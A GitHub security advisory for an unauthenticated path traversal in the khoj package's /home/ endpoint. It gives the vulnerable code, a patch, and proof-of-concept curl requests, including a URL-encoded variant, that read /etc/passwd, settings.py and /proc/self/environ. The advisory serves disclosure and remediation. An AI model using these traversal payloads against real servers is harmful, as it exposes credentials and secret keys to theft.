GHSA-62MM-XWMV-CRHG
Vulnerability from github – Published: 2026-09-25 21:38 – Updated: 2026-09-25 21:38Summary
The /home/{file_path:path} endpoint in web_client.py serves static files by directly concatenating the user-supplied file_path with the home_directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.
Details
Vulnerable code — src/khoj/routers/web_client.py lines 46-49:
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
"""Serve static files from the home landing page directory"""
return FileResponse(constants.home_directory / file_path)
Where home_directory is defined in src/khoj/utils/constants.py line 6:
home_directory = web_directory / "home/"
What is missing:
- No .. traversal filtering
- No path normalization/resolution check (e.g., resolved.is_relative_to(home_directory))
- No authentication decorator (@requires(["authenticated"]) is absent)
- Starlette's FileResponse does NOT perform path traversal protection
Path resolution:
Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd
PoC
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd
# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py
# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
URL-encoded variant (may bypass some reverse proxy normalization):
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Impact
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:
- Read application configuration — Django
SECRET_KEY, database credentials, API keys - Read system files —
/etc/passwd,/etc/shadow(if permissions allow),/proc/self/environ - Exfiltrate sensitive data — Any file readable by the server process
- Facilitate further attacks — Leaked credentials enable deeper compromise
No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.
Recommended fix
Use FastAPI's built-in StaticFiles mount instead of a custom handler, or add explicit path validation:
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
resolved = (constants.home_directory / file_path).resolve()
if not resolved.is_relative_to(constants.home_directory.resolve()):
raise HTTPException(status_code=404)
return FileResponse(resolved)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "khoj"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-beta.23"
},
{
"fixed": "2.0.0-beta.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-25T21:38:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** \u2014 `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n \"\"\"Serve static files from the home landing page directory\"\"\"\n return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette\u0027s `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** \u2014 Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** \u2014 `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** \u2014 Any file readable by the server process\n- **Facilitate further attacks** \u2014 Leaked credentials enable deeper compromise\n\n**No authentication required** \u2014 the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI\u0027s built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n resolved = (constants.home_directory / file_path).resolve()\n if not resolved.is_relative_to(constants.home_directory.resolve()):\n raise HTTPException(status_code=404)\n return FileResponse(resolved)\n```",
"id": "GHSA-62mm-xwmv-crhg",
"modified": "2026-09-25T21:38:15Z",
"published": "2026-09-25T21:38:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg"
},
{
"type": "WEB",
"url": "https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf"
},
{
"type": "WEB",
"url": "https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a"
},
{
"type": "PACKAGE",
"url": "https://github.com/khoj-ai/khoj"
},
{
"type": "WEB",
"url": "https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.